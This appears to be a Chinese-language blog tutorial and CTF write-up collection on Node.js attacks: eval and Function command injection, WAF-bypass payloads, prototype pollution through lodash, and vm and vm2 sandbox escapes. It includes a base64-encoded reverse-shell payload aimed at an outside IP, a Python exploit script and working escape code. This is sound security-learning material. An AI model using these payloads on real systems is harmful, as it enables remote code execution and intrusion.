NODEJS安全

发布于 2024-04-24  619 次阅读


危险函数命令执行

在nodejs中,也存在一些命令执行函数,如果代码中调用了这些危险函数,并且危险函数的参数是用户可控的,那么就可能造成RCE

eval

通过eval,我们可以调用require('child_process').exec('')来进行命令执行,因为这个函数调用的是bash.sh,此时会返回一个bash解释器。

var express=require('express');
var app=express();

app.get('/admin',function (req, res){
    res.send(eval(req.query.shell));
    console.log(req.query.shell);
})

var server=app.listen(8888,function (){
    console.log('服务器:http://127.0.0.1:8888')
})

在windows中,我们用计算器测试一下:

可以弹计算器,如果环境是在linux系统下,那么我们就可以进行RCE了,但是我们知道,exec函数是没有回显的,所以可以利用dns外带,比如:

可以看到代码执行成功,还是老问题,dns外带数据是有限的,所以需要利用sed -n 'np'来多次读取,我们也可以直接反弹shell:

admin?shell=require('child_process').exec('echo YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjMyLjEzMC84ODg4IDA%2BJjE=|base64 -d|bash');  #require('child_process').exec('echo bash -i >& /dev/tcp/192.168.32.130/8888 0>&1|bash');

可以看到反弹成功,base64编码的原因是直接输入命令会报Invalid or unexpected token的错误,在base64编码后会有+号,此时浏览器会识别为空格,所以需要url编码把+号编码一下。

Function

可以进行命令执行的危险函数还有:Function,这就相当于php中的create_function,但是调用此方法利用require进行包含就会失效,这是因为Function创建的函数运行在一个独立的作用域中,不会继承当前模块的作用域。这导致在该函数内部无法直接访问当前模块的变量或模块。我们可以利用global去加载child_processglobal.process.mainModule.constructor._load('child_process').exec('calc')

可以看到成功执行命令,这也给出了对于require过滤的绕过。

一些waf

在一些入门题目中,肯定会将我们传入的参数进行检查,主要应该就是对于关键字的检查,这里我们绕过方法就类似于python中沙箱里一些waf的绕过方法,就比如16进制绕过、unicode编码绕过、字符连接绕过等等,这里字符连接时,由于+号会被识别为空格,所以需要url编码。

假如我们过滤exec函数:

var express=require('express');
var app=express();

var waf=RegExp(/exec/);

app.get('/admin',function (req, res){
    if (req.query.shell.toString().match(waf)){
        res.send('hacker')
    }
    else {
        res.send(Function(req.query.shell)());
        console.log(req.query.shell);
    }

})

var server=app.listen(8888,function (){
    console.log('服务器:http://127.0.0.1:8888')
})
16进制
admin?shell=global.process.mainModule.constructor._load('child_process')['\x65\x78\x65\x63']('calc')

unicode
admin?shell=global.process.mainModule.constructor._load('child_process')['\u0065\u0078\u0065\u0063']('calc')

字符连接
admin?shell=global.process.mainModule.constructor._load('child_process')['exe'%2b'c']('calc')

模版字
利用`·`和占位符可以构造出模版字,就比如构造exec:
xxxxxxxxxx admin?shell=global.process.mainModule.constructor._load('child_process')[`${`${`exe`}c`}`]('calc')

Object.values

我们可以知道,我们直接包含子进程模块那么就会返回一个其实现方法的字典,我们利用Object.values取得此字典的值,也就是方法的实现,key只是方法名,那么就可以通过数字来取得执行方法

就比如这里我想调用exec,我们发现它的位置是2,当然在web服务器上由于我们的传参是字符串,所以无法直接看到可利用方法,但是我们可以直接爆破,所以可以进行以下利用:

admin?shell=Object.values(require('child_process'))[2]('calc')

反射

node.js反射基本原理就是利用Reflect关键字,通过ownKeys方法拿到global全局函数,再调用find方法找到我们需要调用的方法即可:

global[Reflect.ownKeys(global).find(x=>x.includes('ev'))]

这里我们可以直接获取到执行函数,当然,如果这里过滤了中括号不能利用global获取到eval,我们可以利用Reflect.get替换:

Reflect.get(global,Reflect.ownKeys(global).find(x=>x.includes('ev')))

[GFCTF 2021]ez_calc

感觉这题主要就是考了nodejs的一些特性,对于字符的大小写转换,我们有toLowerCasetoUpperCase两个函数,但是在转换时,字符ı转化为大写是I,字符ſ转换为大写是S,字符K转换为小写是k,具体可以看看P牛

所以对于这道题的判断:

if(req.body.username.toLowerCase() !== 'admin' && req.body.username.toUpperCase() === 'ADMIN' && req.body.passwd === 'admin123')

可以直接利用此特性绕过

源码:

let calc = req.body.calc;
let flag = false;
//waf
for (let i = 0; i < calc.length; i++) {
    if (flag || "/(flc'\".".split``.some(v => v == calc[i])) {
        flag = true;
        calc = calc.slice(0, i) + "*" + calc.slice(i + 1, calc.length);
    }
} //传入的参数只要包含/(flc'".中的任意一个字符那么此字符以及之后的字符都会被替换为*
//截取
calc = calc.substring(0, 64);
//去空
calc = calc.replace(/\s+/g, "");//替换空格

calc = calc.replace(/\\/g, "\\\\");//替换分隔符

//小明的同学过滤了一些比较危险的东西
while (calc.indexOf("sh") > -1) {
    calc = calc.replace("sh", "");
}
while (calc.indexOf("ln") > -1) {
    calc = calc.replace("ln", "");
}
while (calc.indexOf("fs") > -1) {
    calc = calc.replace("fs", "");
}
while (calc.indexOf("x") > -1) {
    calc = calc.replace("x", "");
}

try {
    result = eval(calc);

}

我们可以看到,只要绕过前面的waf就能执行我们传入的代码。对于第一个waf,如果我们传入数组,在数组最后一个元素传入过滤的字符,那么总会有数组长度个字符会逃逸出来

由于有长度限制,我们知道根目录的文件,我们利用spawnSync去直接读取是读不完的,我们利用Object.values找到exec然后利用重定向写进文件再利用spawnSync读取:

calc[]=Object.values(require('child_process'))[2]('cat${IFS}/G*>g')&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.

calc[]=require('child_process').spawnSync('nl',['g']).stdout.toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.

[西湖论剑 2022]Node Magical Login

源码:

const fs = require("fs");
const SECRET_COOKIE = process.env.SECRET_COOKIE || "this_is_testing_cookie"

const flag1 = fs.readFileSync("/flag1")
const flag2 = fs.readFileSync("/flag2")


function LoginController(req,res) {
    try {
        const username = req.body.username
        const password = req.body.password
        if (username !== "admin" || password !== Math.random().toString()) {
            res.status(401).type("text/html").send("Login Failed")
        } else {
            res.cookie("user",SECRET_COOKIE)
            res.redirect("/flag1")
        }
    } catch (__) {}
}

function CheckInternalController(req,res) {
    res.sendFile("check.html",{root:"static"})

}

function CheckController(req,res) {
    let checkcode = req.body.checkcode?req.body.checkcode:1234;
    console.log(req.body)
    if(checkcode.length === 16){
        try{
            checkcode = checkcode.toLowerCase()
            if(checkcode !== "aGr5AtSp55dRacer"){
                res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
            }
        }catch (__) {}
        res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
    }else{
        res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
    }
}

function Flag1Controller(req,res){
    try {
        if(req.cookies.user === SECRET_COOKIE){
            res.setHeader("This_Is_The_Flag1",flag1.toString().trim())
            res.setHeader("This_Is_The_Flag2",flag2.toString().trim())
            res.status(200).type("text/html").send("Login success. Welcome,admin!")
        }
        if(req.cookies.user === "admin") {
            res.setHeader("This_Is_The_Flag1", flag1.toString().trim())
            res.status(200).type("text/html").send("You Got One Part Of Flag! Try To Get Another Part of Flag!")
        }else{
            res.status(401).type("text/html").send("Unauthorized")
        }
    }catch (__) {}
}



module.exports = {
    LoginController,
    CheckInternalController,
    Flag1Controller,
    CheckController
}

我们审计一下代码,只需要cookie中user=SECRET_COOKIE就能拿到flag1,在登录页面提示admin,猜测SECRET_COOKIE为admin,然后抓包可以拿到第一个flag:

我们再访问flag2的页面,很显然会触发CheckController,这里我们需要绕过if(checkcode !== "aGr5AtSp55dRacer"),由于在这之前有checkcode = checkcode.toLowerCase(),只要我们让这个语句抛出异常,那么就能跳出,我们知道toLowerCase()遇到数组会抛出异常,所以传入长度为16的数组即可,注意是需要json

原型链污染

关于prototype__proto__

__proto__是任何一个对象拥有的属性

prototype是任何一个函数或类拥有的一个属性

也就是说,对象的__proto__属性实际上就指向函数的prototype属性,当我们为函数创建了一个对象后,我们要访问某属性,对象会先访问自己的构造函数的属性,如果没有,就调用__proto__去访问其继承的父类属性,这样一直往上查找,最终到null为止。

污染

实际上,在寻找属性过程中,都会经过Object.prototype,就比如:

我们可以看到B在没有找到属性a的情况下去Object.prototype中找到了a,所以我们可以利用Object.prototype达到污染的效果,我们现在有了merge复制函数如果source可控,那么:

__proto__是已经存在于B中的属性了,解析器并不能将这个属性解析为键值,利用JSON可以将字符串转化为对象,进而解析

可以看到此时Object.prototype已经被污染。

Lodash 模块

当lodash模块版本<4.17.12时,将会存在原型链污染,比如:

const mergeT = require('lodash').defaultsDeep;
const payload = '{"__proto__":{"whoami": "hshdgyq"}}'

function check() {
    mergeT({}, JSON.parse(payload));
    console.log("ok")
}

check();

这里就是导入的lodash模块中的defaultsDeep来进行复制操作,这里通过恶意构造卡就能实现污染:

配合几种模块可以看看:https://www.anquanke.com/post/id/248170#h2-10

[GYCTF2020]Ez_Express

扫下目录,发现源码www.zip,先是一个登录页面,这里绕过参照上面的ez_calc,逻辑很简单,在代码中我们发现了merge函数,就可以猜测到可能是原型链的污染,关键代码:

router.post('/action', function (req, res) {
  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 
  req.session.user.data = clone(req.body);
  res.end("<script>alert('success');history.go(-1);</script>");  
});
router.get('/info', function (req, res) {
  res.render('index',data={'user':res.outputFunctionName});
})

在action路由下会将我们上传的参数复制给{},而其原型就是Object.prototype,再看info路由,利用render函数将outputFunctionName进行模版渲染,我们知道在模版渲染中会执行代码,那么我们下一步就需要确定outputFunctionName是否存在:

router.get('/', function (req, res) {
  if(!req.session.user){
    res.redirect('/login');
  }
  res.outputFunctionName=undefined;
  res.render('index',data={'user':req.session.user.user});
});

很明显,此属性是未被定义的,那么我们就可以将其污染进Object.prototype,配合命令执行即可,需要注意的是,前面讲到了需要JSON.parse将字符串转换为对象才能将__proto__解析为键值,这里是直接获取的数据,所以我们需要将包修改一下Content-Type: application/json,这样在调用res.outputFunctionName时,实际上调用的就是我们污染到的属性了。

总之就是在调用没有定义的属性时,我们去污染掉Object.prototype中的属性即可。

chall_4

关键源码:

app.get('/admin', (req, res) => { 
	/*this is under development I guess ??*/

	if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
		res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
	} 
	else {
		res.send("TRY YOUR BEST!HACKER");
		// res.status(403).send('Forbidden');
	}	
}
)


app.post('/api', (req, res) => {
	var client = req.body;
	var winner = null;

	if (client.row > 3 || client.col > 3){
		client.row %= 3;
		client.col %= 3;
	}
	
	matrix[client.row][client.col] = client.data;
	console.log(matrix);

很显然,这里的admintoken是没有定义的,然后这里就可以想到原型链污染,这里就可以直接去污染这个属性,然后这个属性的md5值等于我们上传的querytoken即可。这里我们很容易发现在api路由里,将检测到的row和col参数用data赋值,那么就可以直接利用数组进行污染,这里规避了常规的merge或clone,然后访问admin,输入md5即可,payload:

/api
{"row":"__proto__","col":"admintoken","data":"hsh"}
/admin
?querytoken=e41d7fc6c2d2aa7e9346663340f5202f

blueprint

我们直接审计源码,在源码中可以找到这样一段代码:

http.createServer((req, res) => {
  let userId = parseUserId(req.headers.cookie)
  let user = users.get(userId)
  if (userId === null || user === undefined) {
    // create user if one doesnt exist
    userId = makeId()
    const bpProto = {}
    const flagBp = {
      content: flag,
    }
    flagBp.constructor = {prototype: bpProto}
    flagBp.__proto__ = bpProto
    user = {
      bpProto,
      blueprints: {
        [makeId()]: flagBp,
      },
    }
    users.set(userId, user)
  }

  // send back the user id
  res.writeHead(200, {
    'set-cookie': 'user_id=' + encodeURIComponent(userId) + '; Path=/',
  })

  if (req.url === '/' && req.method === 'GET') {
    // list all public blueprints
    res.end(mustache.render(indexTemplate, {
      blueprints: Object.entries(user.blueprints).map(([k, v]) => ({
        id: k,
        content: v.content,
        public: v.public,
      })),
    }))
  }

在访问跟路由时,会将所有public都罗列出来,并且我们发现flag其实是存放在content中的,那么如果是public用户就能拿到flag,继续往下看:

else if (req.url === '/make' && req.method === 'POST') {
    // API used by the creation page
    getRawBody(req, {
      limit: '1mb',
    }, (err, body) => {
      if (err) {
        throw err
      }
      let parsedBody
      try {
        // default values are easier to do than proper input validation
        const mergeObj = {}
        mergeObj.constructor = {prototype: user.bpProto}
        mergeObj.__proto__ = user.bpProto
        parsedBody = _.defaultsDeep(mergeObj, JSON.parse(body))
      } catch (e) {
        res.end('bad json')
        return
      }

在make路由调用了lodash模块中的defaultsDeep进行复制,那么就能想到有可能就是原型链污染了,但是直接用burp抓包改包似乎不太行,按道理应该是可以直接改包的,这里利用python可以成功:

import requests

url = "http://127.0.0.1"

data= {
    "constructor":{
        "prototype":{
            "public":True
        }
    }
}

session = requests.session()

r = session.post(url = url + "/make", json = data)
r = session.get(url = url)
print(r.text)

沙箱逃逸

什么是沙箱

当我们运行一些可能会产生危害的程序,我们不能直接在主机的真实环境上进行测试,所以可以通过单独开辟一个运行代码的环境,它与主机相互隔离,但使用主机的硬件资源,我们将有危害的代码在沙箱中运行只会对沙箱内部产生一些影响,而不会影响到主机上的功能,沙箱的工作机制主要是依靠重定向,将恶意代码的执行目标重定向到沙箱内部。

vm沙箱逃逸

沙箱逃逸的主要思想就是通过获取process对象来进行rce,就比如:

const vm = require('vm');

var v1=vm.runInNewContext(`this.constructor.constructor('return process')()`);
v1.mainModule.require('child_process').execSync('calc')

我们通过传递给runInNewContext的对象(this)去获取其构造器,再向上获取构造器此时此构造器也就是Function的constructor,通过()也就可以执行函数,返回一个process对象。当然直接利用tostring的构造器也是一样,道理相同。

如果我们已经有了这样一个沙箱对象:

const vm = require('vm');

const sandbox={a:1,b:2};
const context=new vm.createContext(sandbox);
const script=`a+b`;
console.log(vm.runInContext(script,context)) //3

那么我们直接利用this是肯定能成功的,如果用{}呢?,因为这里的沙箱对象本来就是一个{}对象,但是是不行的,因为 {}的意思是在沙箱内声明了一个对象,也就是说这个对象是不能访问到global下的。只在沙箱内有效。换成a、b同样是不行的,因为数字,字符串,布尔这些都是primitive类型,他们在传递的过程中是将值传递过去而不是引用(类似于函数传递形参),改成其他类型可以。

如果现在的this是null呢?就比如:

const vm = require('vm');

const sandbox=Object.create(null)
console.log(sandbox)
const context=new vm.createContext(sandbox);
const script=`this.constructor.constructor('return process')()`;
v1=vm.runInContext(script,context)
console.log(v1.mainModule.require('child_process').execSync('calc'))

此时就会报错,因为此时没有可引用的对象,这时候可以利用arguments.callee.caller进行逃逸,此方法可以返回函数的调用者。实际上沙箱逃逸其实就是找到一个沙箱外的对象,并调用其中的方法,我们只要在沙箱内定义一个函数,然后在沙箱外调用这个函数,那么这个函数的arguments.callee.caller就会返回沙箱外的一个对象,我们在沙箱内就可以进行逃逸了。

const vm = require('vm');

const sandbox=Object.create(null)
const context=new vm.createContext(sandbox);
const script=`(() => {
    const a = {}
    a.toString = function () {
      const obj = arguments.callee.caller;
      const p = (obj.constructor.constructor('return process'))();
      return p.mainModule.require('child_process').execSync('calc').toString()
    }
    return a
  })()`;
v1=vm.runInContext(script,context)
console.log('hello'+v1)

这里我们自己创建一个对象,然后重写这个对象的toString方法,通过arguments.callee.caller拿到这个对象,然后就能拿到process执行命令了。

但是,在测试的时候,我发现如果不是与字符串连接,也就是说无法直接触发toString,那怎么办呢,这里就要用到Proxy来劫持属性了。

proxy劫持

proxy语法:

let proxy = new Proxy(target, handler)
//target —— 是要包装的对象,可以是任何东西,包括函数。
//handler —— 代理配置:带有“钩子”(“traps”,即拦截操作的方法)的对象。比如 get 钩子用于读取 target 属性,set 钩子写入 target 属性等等。

proxy 进行操作,如果在 handler 中存在相应的钩子,则它将运行,并且 Proxy 有机会对其进行处理,否则将直接对 target 进行处理。就比如:

这里没有钩子,所以对于代理的所有操作都直接转发给target。

如果有钩子,实际上就是先将请求拦截,然后把请求交给钩子函数处理,就好像是装饰器,就比如:

let test=[1,2,3]

test=new Proxy(test,{
    get(target,numb){
        if (numb in target){
            return target[numb];
        }else {
            return "no";
        }
    }
})

console.log(test[1])
console.log(test[111])

set钩子:

var test=[]

test=new Proxy(test,{
    set(target,numb,value){
        if (typeof value==='number'){
            target[numb]=value;
            return true
        }else {
            return false;
        }
    }
})
test.push(520)
console.log(test)
test.push("hsh")
console.log(test)

在插入的值不为数字时就会报错。还有其他钩子,具体可以看看:https://juejin.cn/post/6844904090116292616

言归正传,我们这里就可以通过get钩子,拦截读取操作,然后写入我们想要的操作,当我们访问对象的任意属性,即使属性不存在,由于我们劫持了读取操作,所以这里会直接执行我们所写的操作:

const vm = require('vm');

const sandbox=Object.create(null)
const context=new vm.createContext(sandbox);
const script=`(() =>{
    const a = new Proxy({}, {
        get: function(){
            const obj = arguments.callee.caller;
            const p = (obj.constructor.constructor('return process'))();
            return p.mainModule.require('child_process').execSync('calc');
        }
    })
    return a
})()`;
v1=vm.runInContext(script,context)
console.log(v1[1])

当然,我们如果利用代理,那么是不是可以直接劫持异常的抛出呢?

const vm = require('vm');

const sandbox=Object.create(null)
const context=new vm.createContext(sandbox);
const script=`throw new Proxy({}, {
        get: function(){
            const obj = arguments.callee.caller;
            const p = (obj.constructor.constructor('return process'))();
            return p.mainModule.require('child_process').execSync('calc');
        }
    })`;

try {
    vm.runInContext(script,context)
}catch (e){
    console.log('error'+e)//console.log(e.anything)
}

这里捕获到抛出的异常对象后,异常对象与字符串拼接再次抛出异常,也就执行了我们插入的代码,当然这里访问异常的任意属性也会直接触发get钩子。

vm2沙箱

vm隔离功能很弱,以上方法都可以将代码逃逸出来,于是有了vm2,比于vm的沙箱环境,vm2最重要的一步就是引入sandbox.js并针对context做封装。

实际上感觉就是对vm做了一定量的防护,但是还是有一些漏洞,感觉漏洞都挺抽象的,但是原理都是通过一些手段,从沙箱外获取一个对象,然后通过此对象进行rce

CVE-2019-10761

当vm2版本<=3.6.10时,就存在此漏洞,实际上就是在沙箱内不断递归一个函数,当递归次数超过当前环境的最大值时,我们正好调用沙箱外的函数,就会导致沙箱外的调用栈被爆掉,我们在沙箱内catch这个异常对象,就拿到了一个沙箱外的对象。

"use strict";
const {VM} = require('vm2');
const untrusted = `
const f = Buffer.prototype.write;
const ft = {
        length: 10,
        utf8Write(){

        }
}
function r(i){
    var x = 0;
    try{
        x = r(i);
    }catch(e){}
    if(typeof(x)!=='number')
        return x;
    if(x!==i)
        return x+1;
    try{
        f.call(ft);
    }catch(e){
        return e;
    }
    return null;
}
var i=1;
while(1){
    try{
        i=r(i).constructor.constructor("return process")();
        break;
    }catch(x){
        i++;
    }
}
i.mainModule.require("child_process").execSync("calc").toString()
`;
try{
    console.log(new VM().run(untrusted));
}catch(x){
    console.log(x);
}

参考


一沙一世界,一花一天堂。君掌盛无边,刹那成永恒。